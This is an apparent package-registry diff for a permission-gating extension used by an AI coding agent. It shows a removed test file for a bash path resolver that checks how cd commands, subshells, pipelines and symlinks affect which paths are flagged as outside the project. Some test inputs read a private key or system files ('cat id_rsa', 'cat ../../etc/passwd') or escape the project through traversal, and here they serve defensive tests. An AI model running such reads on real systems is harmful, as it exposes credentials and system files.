@gotgenes/pi-permission-system 18.1.1 → 18.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +25 -0
- package/docs/configuration.md +11 -0
- package/package.json +1 -2
- package/src/access-intent/access-path.ts +29 -4
- package/src/access-intent/bash/bash-path-resolver.ts +39 -18
- package/src/access-intent/bash/msys-bash-tokens.ts +64 -0
- package/src/extension-config.ts +7 -0
- package/src/forwarded-permissions/permission-forwarder.ts +6 -3
- package/src/handlers/gates/helpers.ts +1 -1
- package/src/handlers/gates/runner.ts +22 -0
- package/src/index.ts +10 -6
- package/src/path-normalizer.ts +105 -2
- package/src/permission-manager.ts +21 -1
- package/src/permission-prompter.ts +10 -16
- package/src/prompting-gateway.ts +13 -17
- package/src/rule.ts +21 -1
- package/src/status.ts +1 -1
- package/src/yolo-mode.ts +0 -30
- package/test/access-intent/access-path.test.ts +0 -277
- package/test/access-intent/bash/node-text.test.ts +0 -148
- package/test/access-intent/bash/parser.test.ts +0 -19
- package/test/access-intent/bash/program.test.ts +0 -673
- package/test/access-intent/bash/token-classification.test.ts +0 -363
- package/test/access-intent/bash/token-collection.test.ts +0 -300
- package/test/active-agent.test.ts +0 -155
- package/test/async-cache.test.ts +0 -48
- package/test/bash-arity.test.ts +0 -144
- package/test/bash-external-directory.test.ts +0 -1022
- package/test/builtin-tool-input-formatters.test.ts +0 -109
- package/test/canonicalize-path.test.ts +0 -119
- package/test/composition-root.test.ts +0 -698
- package/test/config-loader.test.ts +0 -740
- package/test/config-modal.test.ts +0 -320
- package/test/config-paths.test.ts +0 -83
- package/test/config-pipeline.test.ts +0 -90
- package/test/config-reporter.test.ts +0 -147
- package/test/config-store.test.ts +0 -466
- package/test/decision-audit.test.ts +0 -72
- package/test/decision-reporter.test.ts +0 -112
- package/test/denial-messages.test.ts +0 -714
- package/test/detect-permissive-bash-fallback.test.ts +0 -56
- package/test/expand-home.test.ts +0 -93
- package/test/extension-config.test.ts +0 -129
- package/test/extension-paths.test.ts +0 -108
- package/test/forwarded-permissions/io.test.ts +0 -251
- package/test/forwarding-manager.test.ts +0 -200
- package/test/handlers/before-agent-start.test.ts +0 -314
- package/test/handlers/external-directory-integration.test.ts +0 -515
- package/test/handlers/external-directory-session-dedup.test.ts +0 -175
- package/test/handlers/external-directory-symlink-acceptance.test.ts +0 -167
- package/test/handlers/gates/bash-command-metamorphic.test.ts +0 -88
- package/test/handlers/gates/bash-command.test.ts +0 -257
- package/test/handlers/gates/bash-external-directory.test.ts +0 -268
- package/test/handlers/gates/bash-path.test.ts +0 -346
- package/test/handlers/gates/candidate-check.test.ts +0 -52
- package/test/handlers/gates/external-directory-messages.test.ts +0 -85
- package/test/handlers/gates/external-directory-policy.test.ts +0 -134
- package/test/handlers/gates/external-directory.test.ts +0 -267
- package/test/handlers/gates/helpers.test.ts +0 -165
- package/test/handlers/gates/path.test.ts +0 -369
- package/test/handlers/gates/runner.test.ts +0 -408
- package/test/handlers/gates/skill-input-gate-pipeline.test.ts +0 -176
- package/test/handlers/gates/skill-input.test.ts +0 -128
- package/test/handlers/gates/skill-read.test.ts +0 -161
- package/test/handlers/gates/tool-call-gate-pipeline.test.ts +0 -356
- package/test/handlers/gates/tool.test.ts +0 -244
- package/test/handlers/input-events.test.ts +0 -168
- package/test/handlers/input.test.ts +0 -199
- package/test/handlers/lifecycle.test.ts +0 -221
- package/test/handlers/tool-call-boundary.test.ts +0 -145
- package/test/handlers/tool-call-events.test.ts +0 -277
- package/test/handlers/tool-call.test.ts +0 -395
- package/test/handlers/validate-requested-tool.test.ts +0 -92
- package/test/helpers/external-directory-fixtures.ts +0 -269
- package/test/helpers/gate-fixtures.ts +0 -316
- package/test/helpers/handler-fixtures.ts +0 -335
- package/test/helpers/make-fake-pi.ts +0 -100
- package/test/helpers/manager-harness.ts +0 -112
- package/test/helpers/session-fixtures.ts +0 -199
- package/test/input-normalizer.test.ts +0 -325
- package/test/logging.test.ts +0 -51
- package/test/mcp-targets.test.ts +0 -233
- package/test/node-modules-discovery.test.ts +0 -97
- package/test/normalize.test.ts +0 -247
- package/test/path-containment.test.ts +0 -161
- package/test/path-normalization.test.ts +0 -233
- package/test/path-normalizer.test.ts +0 -196
- package/test/path-surfaces.test.ts +0 -55
- package/test/pattern-suggest.test.ts +0 -248
- package/test/permission-dialog.test.ts +0 -205
- package/test/permission-event-rpc.test.ts +0 -560
- package/test/permission-events.test.ts +0 -400
- package/test/permission-forwarder.test.ts +0 -370
- package/test/permission-forwarding.test.ts +0 -315
- package/test/permission-gate.test.ts +0 -269
- package/test/permission-manager-unified.test.ts +0 -3714
- package/test/permission-merge.test.ts +0 -61
- package/test/permission-prompter.test.ts +0 -518
- package/test/permission-prompts.test.ts +0 -363
- package/test/permission-resolver.test.ts +0 -277
- package/test/permission-session.test.ts +0 -404
- package/test/permission-ui-prompt.test.ts +0 -146
- package/test/permissions-service.test.ts +0 -192
- package/test/pi-infrastructure-read.test.ts +0 -432
- package/test/policy-loader.test.ts +0 -561
- package/test/prompting-gateway.test.ts +0 -231
- package/test/rule.test.ts +0 -650
- package/test/safe-system-paths.test.ts +0 -46
- package/test/scope-merge.test.ts +0 -116
- package/test/service-lifecycle.test.ts +0 -163
- package/test/service.test.ts +0 -261
- package/test/session-approval.test.ts +0 -75
- package/test/session-logger.test.ts +0 -200
- package/test/session-rules.test.ts +0 -321
- package/test/session-start.test.ts +0 -112
- package/test/skill-prompt-sanitizer.test.ts +0 -418
- package/test/status.test.ts +0 -10
- package/test/subagent-context.test.ts +0 -372
- package/test/subagent-lifecycle-events.test.ts +0 -132
- package/test/subagent-registry.test.ts +0 -145
- package/test/synthesize.test.ts +0 -302
- package/test/system-prompt-sanitizer.test.ts +0 -382
- package/test/tool-access-extractor-registry.test.ts +0 -77
- package/test/tool-input-formatter-registry.test.ts +0 -75
- package/test/tool-input-path.test.ts +0 -84
- package/test/tool-input-preview.test.ts +0 -129
- package/test/tool-input-prompt-formatters.test.ts +0 -115
- package/test/tool-preview-formatter.test.ts +0 -458
- package/test/tool-registry.test.ts +0 -197
- package/test/value-guards.test.ts +0 -193
- package/test/wildcard-matcher.test.ts +0 -424
- package/test/yaml-frontmatter.test.ts +0 -91
- package/test/yolo-mode.test.ts +0 -188
|
@@ -1,673 +0,0 @@
|
|
|
1
|
-
import { beforeEach, describe, expect, it, vi } from "vitest";
|
|
2
|
-
|
|
3
|
-
// Mock node:fs so realpathSync (used by canonicalizePath) is controllable.
|
|
4
|
-
// Default is identity so all existing lexical tests are unaffected.
|
|
5
|
-
const realpathSync = vi.hoisted(() =>
|
|
6
|
-
vi.fn<(path: string) => string>((p) => p),
|
|
7
|
-
);
|
|
8
|
-
vi.mock("node:fs", () => ({
|
|
9
|
-
realpathSync,
|
|
10
|
-
default: { realpathSync },
|
|
11
|
-
}));
|
|
12
|
-
|
|
13
|
-
import { BashProgram } from "#src/access-intent/bash/program";
|
|
14
|
-
import { PathNormalizer } from "#src/path-normalizer";
|
|
15
|
-
|
|
16
|
-
describe("BashProgram", () => {
|
|
17
|
-
describe("pathRuleCandidates", () => {
|
|
18
|
-
const cwd = "/projects/my-app";
|
|
19
|
-
const normalizer = new PathNormalizer(process.platform, cwd);
|
|
20
|
-
|
|
21
|
-
beforeEach(() => {
|
|
22
|
-
realpathSync.mockReset();
|
|
23
|
-
realpathSync.mockImplementation((p: string) => p);
|
|
24
|
-
});
|
|
25
|
-
|
|
26
|
-
it("adds absolute and relative policy values for relative tokens", async () => {
|
|
27
|
-
const program = await BashProgram.parse("cat src/foo.ts", normalizer);
|
|
28
|
-
const candidates = program.pathRuleCandidates();
|
|
29
|
-
expect(candidates.map(({ token }) => token)).toEqual(["src/foo.ts"]);
|
|
30
|
-
expect(candidates[0].path.matchValues()).toEqual([
|
|
31
|
-
"/projects/my-app/src/foo.ts",
|
|
32
|
-
"src/foo.ts",
|
|
33
|
-
]);
|
|
34
|
-
expect(candidates[0].path.value()).toBe("/projects/my-app/src/foo.ts");
|
|
35
|
-
});
|
|
36
|
-
|
|
37
|
-
it("resolves tokens after literal cd against the effective directory", async () => {
|
|
38
|
-
const program = await BashProgram.parse(
|
|
39
|
-
"cd nested && cat src/file.txt",
|
|
40
|
-
normalizer,
|
|
41
|
-
);
|
|
42
|
-
const fileCandidate = program
|
|
43
|
-
.pathRuleCandidates()
|
|
44
|
-
.find((candidate) => candidate.token === "src/file.txt");
|
|
45
|
-
expect(fileCandidate?.path.matchValues()).toEqual([
|
|
46
|
-
"/projects/my-app/nested/src/file.txt",
|
|
47
|
-
"nested/src/file.txt",
|
|
48
|
-
"src/file.txt",
|
|
49
|
-
]);
|
|
50
|
-
expect(fileCandidate?.path.value()).toBe(
|
|
51
|
-
"/projects/my-app/nested/src/file.txt",
|
|
52
|
-
);
|
|
53
|
-
});
|
|
54
|
-
|
|
55
|
-
it("adds the canonical alias for a symlinked token (#486)", async () => {
|
|
56
|
-
// /projects/my-app/src/foo.ts is a symlink to /vault/foo.ts.
|
|
57
|
-
realpathSync.mockImplementation((p: string) =>
|
|
58
|
-
p === "/projects/my-app/src/foo.ts" ? "/vault/foo.ts" : p,
|
|
59
|
-
);
|
|
60
|
-
const program = await BashProgram.parse("cat src/foo.ts", normalizer);
|
|
61
|
-
const candidate = program.pathRuleCandidates()[0];
|
|
62
|
-
expect(candidate.path.matchValues()).toEqual([
|
|
63
|
-
"/projects/my-app/src/foo.ts",
|
|
64
|
-
"src/foo.ts",
|
|
65
|
-
"/vault/foo.ts",
|
|
66
|
-
]);
|
|
67
|
-
});
|
|
68
|
-
|
|
69
|
-
it("does not absolute-allow relative tokens after unknown cd", async () => {
|
|
70
|
-
const program = await BashProgram.parse(
|
|
71
|
-
'cd "$DIR" && cat src/foo.ts',
|
|
72
|
-
normalizer,
|
|
73
|
-
);
|
|
74
|
-
const fileCandidate = program
|
|
75
|
-
.pathRuleCandidates()
|
|
76
|
-
.find((candidate) => candidate.token === "src/foo.ts");
|
|
77
|
-
expect(fileCandidate?.path.matchValues()).toEqual(["src/foo.ts"]);
|
|
78
|
-
expect(fileCandidate?.path.value()).toBe("src/foo.ts");
|
|
79
|
-
});
|
|
80
|
-
|
|
81
|
-
it("keeps an unknown-cd token literal-only even when it would resolve a symlink (#393)", async () => {
|
|
82
|
-
// A canonical alias here would resolve against the wrong (unknown) base.
|
|
83
|
-
realpathSync.mockImplementation(() => "/somewhere/else");
|
|
84
|
-
const program = await BashProgram.parse(
|
|
85
|
-
'cd "$DIR" && cat src/foo.ts',
|
|
86
|
-
normalizer,
|
|
87
|
-
);
|
|
88
|
-
const fileCandidate = program
|
|
89
|
-
.pathRuleCandidates()
|
|
90
|
-
.find((candidate) => candidate.token === "src/foo.ts");
|
|
91
|
-
expect(fileCandidate?.path.matchValues()).toEqual(["src/foo.ts"]);
|
|
92
|
-
expect(fileCandidate?.path.boundaryValue()).toBe("");
|
|
93
|
-
});
|
|
94
|
-
|
|
95
|
-
describe("rule-driven bare-token promotion (#509)", () => {
|
|
96
|
-
it("promotes a bare token when the matcher says it is promotable", async () => {
|
|
97
|
-
const isPromotable = (token: string): boolean => token === "id_rsa";
|
|
98
|
-
const program = await BashProgram.parse(
|
|
99
|
-
"cat id_rsa",
|
|
100
|
-
normalizer,
|
|
101
|
-
isPromotable,
|
|
102
|
-
);
|
|
103
|
-
const candidates = program.pathRuleCandidates();
|
|
104
|
-
expect(candidates.map(({ token }) => token)).toEqual(["id_rsa"]);
|
|
105
|
-
expect(candidates[0].path.matchValues()).toEqual([
|
|
106
|
-
"/projects/my-app/id_rsa",
|
|
107
|
-
"id_rsa",
|
|
108
|
-
]);
|
|
109
|
-
});
|
|
110
|
-
|
|
111
|
-
it("does not promote a bare token the matcher rejects", async () => {
|
|
112
|
-
const isPromotable = (token: string): boolean => token === "id_rsa";
|
|
113
|
-
const program = await BashProgram.parse(
|
|
114
|
-
"git status",
|
|
115
|
-
normalizer,
|
|
116
|
-
isPromotable,
|
|
117
|
-
);
|
|
118
|
-
expect(program.pathRuleCandidates()).toHaveLength(0);
|
|
119
|
-
});
|
|
120
|
-
|
|
121
|
-
it("does not promote any bare token with the default no-op matcher", async () => {
|
|
122
|
-
const program = await BashProgram.parse("cat id_rsa", normalizer);
|
|
123
|
-
expect(program.pathRuleCandidates()).toHaveLength(0);
|
|
124
|
-
});
|
|
125
|
-
|
|
126
|
-
it("keeps a promoted token literal-only after an unknown cd (#393)", async () => {
|
|
127
|
-
const isPromotable = (token: string): boolean => token === "id_rsa";
|
|
128
|
-
const program = await BashProgram.parse(
|
|
129
|
-
'cd "$DIR" && cat id_rsa',
|
|
130
|
-
normalizer,
|
|
131
|
-
isPromotable,
|
|
132
|
-
);
|
|
133
|
-
const candidate = program
|
|
134
|
-
.pathRuleCandidates()
|
|
135
|
-
.find((c) => c.token === "id_rsa");
|
|
136
|
-
expect(candidate?.path.matchValues()).toEqual(["id_rsa"]);
|
|
137
|
-
});
|
|
138
|
-
|
|
139
|
-
it("does not double-promote a token the shape gate already accepts", async () => {
|
|
140
|
-
// ./id_rsa already passes classifyTokenAsRuleCandidate; the promoted
|
|
141
|
-
// fallback must not run (and must not duplicate the candidate).
|
|
142
|
-
const isPromotable = (): boolean => true;
|
|
143
|
-
const program = await BashProgram.parse(
|
|
144
|
-
"cat ./id_rsa",
|
|
145
|
-
normalizer,
|
|
146
|
-
isPromotable,
|
|
147
|
-
);
|
|
148
|
-
expect(program.pathRuleCandidates()).toHaveLength(1);
|
|
149
|
-
});
|
|
150
|
-
});
|
|
151
|
-
});
|
|
152
|
-
|
|
153
|
-
describe("externalPaths", () => {
|
|
154
|
-
const cwd = "/projects/my-app";
|
|
155
|
-
const normalizer = new PathNormalizer(process.platform, cwd);
|
|
156
|
-
|
|
157
|
-
beforeEach(() => {
|
|
158
|
-
realpathSync.mockReset();
|
|
159
|
-
realpathSync.mockImplementation((p: string) => p);
|
|
160
|
-
});
|
|
161
|
-
|
|
162
|
-
it("returns absolute paths resolving outside cwd", async () => {
|
|
163
|
-
const program = await BashProgram.parse("cat /etc/hosts", normalizer);
|
|
164
|
-
// Subset matcher: the path is normalized before comparison.
|
|
165
|
-
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
166
|
-
"/etc/hosts",
|
|
167
|
-
);
|
|
168
|
-
});
|
|
169
|
-
|
|
170
|
-
it("excludes paths within cwd", async () => {
|
|
171
|
-
const program = await BashProgram.parse("cat src/index.ts", normalizer);
|
|
172
|
-
expect(program.externalPaths()).toHaveLength(0);
|
|
173
|
-
});
|
|
174
|
-
|
|
175
|
-
describe("win32 projection (injected platform, no vi.mock node:path)", () => {
|
|
176
|
-
const winNormalizer = new PathNormalizer("win32", "C:\\Projects\\App");
|
|
177
|
-
|
|
178
|
-
it("resolves and case-folds a rooted path outside cwd", async () => {
|
|
179
|
-
const program = await BashProgram.parse(
|
|
180
|
-
"cat /etc/hosts",
|
|
181
|
-
winNormalizer,
|
|
182
|
-
);
|
|
183
|
-
expect(program.externalPaths().map((p) => p.value())).toEqual([
|
|
184
|
-
"c:\\etc\\hosts",
|
|
185
|
-
]);
|
|
186
|
-
});
|
|
187
|
-
|
|
188
|
-
it("flags a ..-traversal escaping cwd under win32 rules", async () => {
|
|
189
|
-
const program = await BashProgram.parse(
|
|
190
|
-
"cat ../sibling/x",
|
|
191
|
-
winNormalizer,
|
|
192
|
-
);
|
|
193
|
-
expect(program.externalPaths().map((p) => p.value())).toEqual([
|
|
194
|
-
"c:\\projects\\sibling\\x",
|
|
195
|
-
]);
|
|
196
|
-
});
|
|
197
|
-
|
|
198
|
-
it("folds a current-shell cd so an in-cwd ..-traversal is not flagged", async () => {
|
|
199
|
-
const program = await BashProgram.parse(
|
|
200
|
-
"cd sub && cat ../x",
|
|
201
|
-
winNormalizer,
|
|
202
|
-
);
|
|
203
|
-
expect(program.externalPaths()).toHaveLength(0);
|
|
204
|
-
});
|
|
205
|
-
});
|
|
206
|
-
|
|
207
|
-
describe("effective working directory projection", () => {
|
|
208
|
-
it("folds a sequence of current-shell cd commands", async () => {
|
|
209
|
-
// cd a → cwd/a, cd b → cwd/a/b; ../c resolves to cwd/a/c (inside).
|
|
210
|
-
const program = await BashProgram.parse(
|
|
211
|
-
"cd a && cd b && cat ../c",
|
|
212
|
-
normalizer,
|
|
213
|
-
);
|
|
214
|
-
expect(program.externalPaths()).toHaveLength(0);
|
|
215
|
-
});
|
|
216
|
-
|
|
217
|
-
it("catches an escape masked by a later cd that the single-base model missed", async () => {
|
|
218
|
-
// Effective dir after `cd nested/deep && cd ..` is cwd/nested, so
|
|
219
|
-
// ../../etc/passwd escapes to /projects/etc/passwd.
|
|
220
|
-
const program = await BashProgram.parse(
|
|
221
|
-
"cd nested/deep && cd .. && cat ../../etc/passwd",
|
|
222
|
-
normalizer,
|
|
223
|
-
);
|
|
224
|
-
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
225
|
-
"/projects/etc/passwd",
|
|
226
|
-
);
|
|
227
|
-
});
|
|
228
|
-
|
|
229
|
-
it("folds a cd that is not the first command", async () => {
|
|
230
|
-
// The single-base model ignored a cd that was not first; now `cd a`
|
|
231
|
-
// folds, so ../b resolves to cwd/b (inside) and is not flagged.
|
|
232
|
-
const program = await BashProgram.parse(
|
|
233
|
-
"mkdir d && cd a && cat ../b",
|
|
234
|
-
normalizer,
|
|
235
|
-
);
|
|
236
|
-
expect(program.externalPaths()).toHaveLength(0);
|
|
237
|
-
});
|
|
238
|
-
|
|
239
|
-
it("does not fold a backgrounded cd", async () => {
|
|
240
|
-
// `cd a &` runs in a subshell, so it must not update the running
|
|
241
|
-
// directory; ../b resolves against cwd and escapes.
|
|
242
|
-
const program = await BashProgram.parse("cd a & cat ../b", normalizer);
|
|
243
|
-
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
244
|
-
"/projects/b",
|
|
245
|
-
);
|
|
246
|
-
});
|
|
247
|
-
|
|
248
|
-
it("does not fold a cd inside a pipeline", async () => {
|
|
249
|
-
// Pipeline members run in subshells; the cd must not leak.
|
|
250
|
-
const program = await BashProgram.parse(
|
|
251
|
-
"cd nested | cat ../b",
|
|
252
|
-
normalizer,
|
|
253
|
-
);
|
|
254
|
-
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
255
|
-
"/projects/b",
|
|
256
|
-
);
|
|
257
|
-
});
|
|
258
|
-
|
|
259
|
-
it("folds a cd inside a subshell for paths within that subshell", async () => {
|
|
260
|
-
// Inside the subshell the effective dir is cwd/sub, so ../x → cwd/x.
|
|
261
|
-
const program = await BashProgram.parse(
|
|
262
|
-
"( cd sub && cat ../x )",
|
|
263
|
-
normalizer,
|
|
264
|
-
);
|
|
265
|
-
expect(program.externalPaths()).toHaveLength(0);
|
|
266
|
-
});
|
|
267
|
-
|
|
268
|
-
it("does not leak a subshell cd to following commands", async () => {
|
|
269
|
-
// The subshell cd resets on exit, so ../y resolves against cwd.
|
|
270
|
-
const program = await BashProgram.parse(
|
|
271
|
-
"( cd sub ) && cat ../y",
|
|
272
|
-
normalizer,
|
|
273
|
-
);
|
|
274
|
-
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
275
|
-
"/projects/y",
|
|
276
|
-
);
|
|
277
|
-
});
|
|
278
|
-
|
|
279
|
-
it("persists a cd inside a brace group to later commands in the group", async () => {
|
|
280
|
-
// Brace groups run in the current shell, so cd sub persists to cat ../x.
|
|
281
|
-
const program = await BashProgram.parse(
|
|
282
|
-
"{ cd sub; cat ../x; }",
|
|
283
|
-
normalizer,
|
|
284
|
-
);
|
|
285
|
-
expect(program.externalPaths()).toHaveLength(0);
|
|
286
|
-
});
|
|
287
|
-
|
|
288
|
-
it("persists a brace-group cd to following sibling commands", async () => {
|
|
289
|
-
const program = await BashProgram.parse(
|
|
290
|
-
"{ cd sub; } && cat ../x",
|
|
291
|
-
normalizer,
|
|
292
|
-
);
|
|
293
|
-
expect(program.externalPaths()).toHaveLength(0);
|
|
294
|
-
});
|
|
295
|
-
|
|
296
|
-
it("conservatively flags a relative path inside a command substitution", async () => {
|
|
297
|
-
// Interior cd folding inside substitutions is deferred: the interior
|
|
298
|
-
// inherits the enclosing base (cwd), so ../r is flagged rather than
|
|
299
|
-
// resolved against cwd/q. Conservative — never misses an escape.
|
|
300
|
-
const program = await BashProgram.parse(
|
|
301
|
-
"echo $(cd q && cat ../r)",
|
|
302
|
-
normalizer,
|
|
303
|
-
);
|
|
304
|
-
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
305
|
-
"/projects/r",
|
|
306
|
-
);
|
|
307
|
-
});
|
|
308
|
-
|
|
309
|
-
it("flags relative paths conservatively after a non-literal cd", async () => {
|
|
310
|
-
// cd "$DIR" makes the effective dir unknowable; ../x could be anywhere,
|
|
311
|
-
// so it is flagged (least-privilege).
|
|
312
|
-
const program = await BashProgram.parse(
|
|
313
|
-
'cd "$DIR" && cat ../x',
|
|
314
|
-
normalizer,
|
|
315
|
-
);
|
|
316
|
-
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
317
|
-
"/projects/x",
|
|
318
|
-
);
|
|
319
|
-
});
|
|
320
|
-
|
|
321
|
-
it("flags even a within-cwd relative path after a non-literal cd", async () => {
|
|
322
|
-
// Conservative cost: src/../within.txt resolves inside cwd but is still
|
|
323
|
-
// flagged because the effective dir is unknown.
|
|
324
|
-
const program = await BashProgram.parse(
|
|
325
|
-
'cd "$DIR" && cat src/../within.txt',
|
|
326
|
-
normalizer,
|
|
327
|
-
);
|
|
328
|
-
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
329
|
-
"/projects/my-app/within.txt",
|
|
330
|
-
);
|
|
331
|
-
});
|
|
332
|
-
|
|
333
|
-
it("still resolves an absolute path normally after a non-literal cd", async () => {
|
|
334
|
-
// Absolute paths are base-independent; one inside cwd is not flagged
|
|
335
|
-
// even when the effective dir is unknown.
|
|
336
|
-
const program = await BashProgram.parse(
|
|
337
|
-
'cd "$DIR" && cat /projects/my-app/x.txt',
|
|
338
|
-
normalizer,
|
|
339
|
-
);
|
|
340
|
-
expect(program.externalPaths()).toHaveLength(0);
|
|
341
|
-
});
|
|
342
|
-
|
|
343
|
-
it("treats `cd -` as an unknown effective directory", async () => {
|
|
344
|
-
const program = await BashProgram.parse("cd - && cat ../x", normalizer);
|
|
345
|
-
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
346
|
-
"/projects/x",
|
|
347
|
-
);
|
|
348
|
-
});
|
|
349
|
-
|
|
350
|
-
it("recovers a known base when a later cd is absolute", async () => {
|
|
351
|
-
// cd "$DIR" → unknown, then cd /projects/my-app/src → known again, so
|
|
352
|
-
// ../x resolves to cwd and is not flagged.
|
|
353
|
-
const program = await BashProgram.parse(
|
|
354
|
-
'cd "$DIR" && cd /projects/my-app/src && cat ../x',
|
|
355
|
-
normalizer,
|
|
356
|
-
);
|
|
357
|
-
expect(program.externalPaths()).toHaveLength(0);
|
|
358
|
-
});
|
|
359
|
-
|
|
360
|
-
it("folds a leading current-shell cd across a redirect-then-pipe", async () => {
|
|
361
|
-
// tree-sitter-bash groups `cd a && pnpm x 2>&1 | tail` as
|
|
362
|
-
// `(cd a && pnpm x 2>&1) | tail`, burying the current-shell `cd a`
|
|
363
|
-
// inside a `pipeline` node. Bash precedence (`|` binds tighter than
|
|
364
|
-
// `&&`) makes `cd a` current-shell, so the fold must persist past the
|
|
365
|
-
// pipeline: ../b resolves against cwd/a (inside), not cwd (#454).
|
|
366
|
-
const program = await BashProgram.parse(
|
|
367
|
-
"cd a && pnpm x 2>&1 | tail ; cat ../b",
|
|
368
|
-
normalizer,
|
|
369
|
-
);
|
|
370
|
-
expect(program.externalPaths()).toHaveLength(0);
|
|
371
|
-
});
|
|
372
|
-
|
|
373
|
-
it("persists the fold past a redirect-then-pipe to a later cd", async () => {
|
|
374
|
-
// The issue reproduction: the fold from `cd a/b` survives the
|
|
375
|
-
// redirect-then-pipe, so the trailing `cd .. && cd ..` lands back at
|
|
376
|
-
// cwd instead of escaping one level above.
|
|
377
|
-
const program = await BashProgram.parse(
|
|
378
|
-
"cd a/b && pnpm x 2>&1 | tail ; cd .. && cd ..",
|
|
379
|
-
normalizer,
|
|
380
|
-
);
|
|
381
|
-
expect(program.externalPaths()).toHaveLength(0);
|
|
382
|
-
});
|
|
383
|
-
|
|
384
|
-
it("does not fold the terminal piped command of the first stage", async () => {
|
|
385
|
-
// Fail-closed: `cd b` is the terminal command of the first stage, i.e.
|
|
386
|
-
// the real pipe stage (a subshell), so it must NOT fold. With the
|
|
387
|
-
// correct base cwd/a, ../../x escapes to /projects/x. If `cd b` were
|
|
388
|
-
// wrongly folded, the base would be cwd/a/b and ../../x would stay
|
|
389
|
-
// inside — a fail-open regression this test pins.
|
|
390
|
-
const program = await BashProgram.parse(
|
|
391
|
-
"cd a && cd b 2>&1 | tail ; cat ../../x",
|
|
392
|
-
normalizer,
|
|
393
|
-
);
|
|
394
|
-
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
395
|
-
"/projects/x",
|
|
396
|
-
);
|
|
397
|
-
});
|
|
398
|
-
|
|
399
|
-
it("resolves a downstream pipe stage against the folded base", async () => {
|
|
400
|
-
// The stage after the `|` runs in a subshell that inherits the folded
|
|
401
|
-
// cwd/a, so ../foo resolves inside cwd rather than escaping against the
|
|
402
|
-
// pre-cd base.
|
|
403
|
-
const program = await BashProgram.parse(
|
|
404
|
-
"cd a && pnpm x 2>&1 | cat ../foo",
|
|
405
|
-
normalizer,
|
|
406
|
-
);
|
|
407
|
-
expect(program.externalPaths()).toHaveLength(0);
|
|
408
|
-
});
|
|
409
|
-
});
|
|
410
|
-
|
|
411
|
-
it("flags an absolute in-cwd path that resolves externally via a symlink, returning the typed form", async () => {
|
|
412
|
-
// The strict classifier only processes absolute tokens, so the escape
|
|
413
|
-
// surface is `cat /cwd/link/hosts` (absolute) where `link -> /etc`.
|
|
414
|
-
// The boundary decision still uses the canonical form (so the path is
|
|
415
|
-
// flagged), but the returned value is the typed/lexical form so config
|
|
416
|
-
// patterns match the path as the user wrote it (#418).
|
|
417
|
-
realpathSync.mockImplementation((p: string) => {
|
|
418
|
-
if (p === "/projects/my-app/link/hosts") return "/etc/hosts";
|
|
419
|
-
return p;
|
|
420
|
-
});
|
|
421
|
-
const program = await BashProgram.parse(
|
|
422
|
-
"cat /projects/my-app/link/hosts",
|
|
423
|
-
normalizer,
|
|
424
|
-
);
|
|
425
|
-
const external = program.externalPaths().map((p) => p.value());
|
|
426
|
-
expect(external).toContain("/projects/my-app/link/hosts");
|
|
427
|
-
expect(external).not.toContain("/etc/hosts");
|
|
428
|
-
});
|
|
429
|
-
|
|
430
|
-
it("does not flag a token that resolves within a symlinked cwd", async () => {
|
|
431
|
-
// Simulates /tmp -> /private/tmp on macOS; cwd is the canonical form.
|
|
432
|
-
const symlinkCwd = "/private/tmp";
|
|
433
|
-
realpathSync.mockImplementation((p: string) => {
|
|
434
|
-
if (p === "/tmp") return "/private/tmp";
|
|
435
|
-
if (p.startsWith("/tmp/")) return `/private/tmp${p.slice(4)}`;
|
|
436
|
-
return p;
|
|
437
|
-
});
|
|
438
|
-
const program = await BashProgram.parse(
|
|
439
|
-
"cat /tmp/workspace/file.ts",
|
|
440
|
-
new PathNormalizer(process.platform, symlinkCwd),
|
|
441
|
-
);
|
|
442
|
-
expect(program.externalPaths()).toHaveLength(0);
|
|
443
|
-
});
|
|
444
|
-
});
|
|
445
|
-
|
|
446
|
-
describe("commands", () => {
|
|
447
|
-
const cwd = "/projects/my-app";
|
|
448
|
-
const normalizer = new PathNormalizer(process.platform, cwd);
|
|
449
|
-
|
|
450
|
-
it("returns a single-element list for a lone command", async () => {
|
|
451
|
-
const program = await BashProgram.parse("npm install pkg", normalizer);
|
|
452
|
-
expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
|
|
453
|
-
});
|
|
454
|
-
|
|
455
|
-
it("splits an && chain", async () => {
|
|
456
|
-
const program = await BashProgram.parse("cd /p && npm i x", normalizer);
|
|
457
|
-
expect(program.commands()).toEqual([
|
|
458
|
-
{ text: "cd /p" },
|
|
459
|
-
{ text: "npm i x" },
|
|
460
|
-
]);
|
|
461
|
-
});
|
|
462
|
-
|
|
463
|
-
it("splits || , ; and & separators", async () => {
|
|
464
|
-
expect(
|
|
465
|
-
(await BashProgram.parse("a || b", normalizer)).commands(),
|
|
466
|
-
).toEqual([{ text: "a" }, { text: "b" }]);
|
|
467
|
-
expect((await BashProgram.parse("a ; b", normalizer)).commands()).toEqual(
|
|
468
|
-
[{ text: "a" }, { text: "b" }],
|
|
469
|
-
);
|
|
470
|
-
expect((await BashProgram.parse("a & b", normalizer)).commands()).toEqual(
|
|
471
|
-
[{ text: "a" }, { text: "b" }],
|
|
472
|
-
);
|
|
473
|
-
});
|
|
474
|
-
|
|
475
|
-
it("splits a pipeline into its commands", async () => {
|
|
476
|
-
const program = await BashProgram.parse("cat f | grep b", normalizer);
|
|
477
|
-
expect(program.commands()).toEqual([
|
|
478
|
-
{ text: "cat f" },
|
|
479
|
-
{ text: "grep b" },
|
|
480
|
-
]);
|
|
481
|
-
});
|
|
482
|
-
|
|
483
|
-
it("splits newline-separated commands", async () => {
|
|
484
|
-
const program = await BashProgram.parse("foo\nbar", normalizer);
|
|
485
|
-
expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
|
|
486
|
-
});
|
|
487
|
-
|
|
488
|
-
it("does not split operators inside quotes", async () => {
|
|
489
|
-
const program = await BashProgram.parse("echo 'x && y'", normalizer);
|
|
490
|
-
